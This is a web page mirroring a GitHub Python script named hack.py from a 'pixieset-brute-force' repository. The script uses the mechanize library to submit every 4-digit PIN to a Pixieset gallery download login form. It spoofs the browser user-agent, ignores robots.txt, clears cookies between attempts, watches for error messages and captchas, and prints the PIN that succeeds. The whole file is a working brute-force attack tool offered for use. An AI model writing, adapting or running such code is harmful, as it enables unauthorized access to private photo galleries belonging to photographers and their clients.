Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
dragonalvaro
GitHub Repository: dragonalvaro/pixieset-brute-force
Path: blob/master/hack.py
446 views
1
import mechanize
2
import cookielib
3
import itertools
4
from bs4 import BeautifulSoup
5
6
7
# Browser
8
br = mechanize.Browser()
9
10
# Cookie Jar
11
cj = cookielib.LWPCookieJar()
12
br.set_cookiejar(cj)
13
14
# Browser options
15
br.set_handle_equiv(True)
16
br.set_handle_gzip(True)
17
br.set_handle_redirect(True)
18
br.set_handle_referer(True)
19
br.set_handle_robots(False)
20
21
# Follows refresh 0 but not hangs on refresh > 0
22
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
23
24
# Want debugging messages?
25
#br.set_debug_http(True)
26
#br.set_debug_redirects(True)
27
#br.set_debug_responses(True)
28
29
# User-Agent (this is cheating, ok?)
30
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
31
32
33
combinations = itertools.product('0123456789',repeat=4)
34
35
response = br.open("**URL**")
36
37
for x in combinations:
38
39
br.select_form(nr=0)
40
41
br.form['DownloadLoginForm[email]'] = '[email protected]'
42
br.form['DownloadLoginForm[download_pin]'] = ''.join(x)
43
br.method = "POST"
44
45
print "Checking ",br.form['DownloadLoginForm[download_pin]']
46
47
response = br.submit()
48
print response.code
49
print response.geturl() #url to which the page has redirected after login
50
soup = BeautifulSoup(response.read(), 'html.parser')
51
error = soup.find("div", {"class": "errorMessage"})
52
captcha = soup.find(id="yw0")
53
print error
54
print captcha
55
cj.clear()
56
57
if error is None:
58
print "Correct password is ",''.join(x)
59
break
60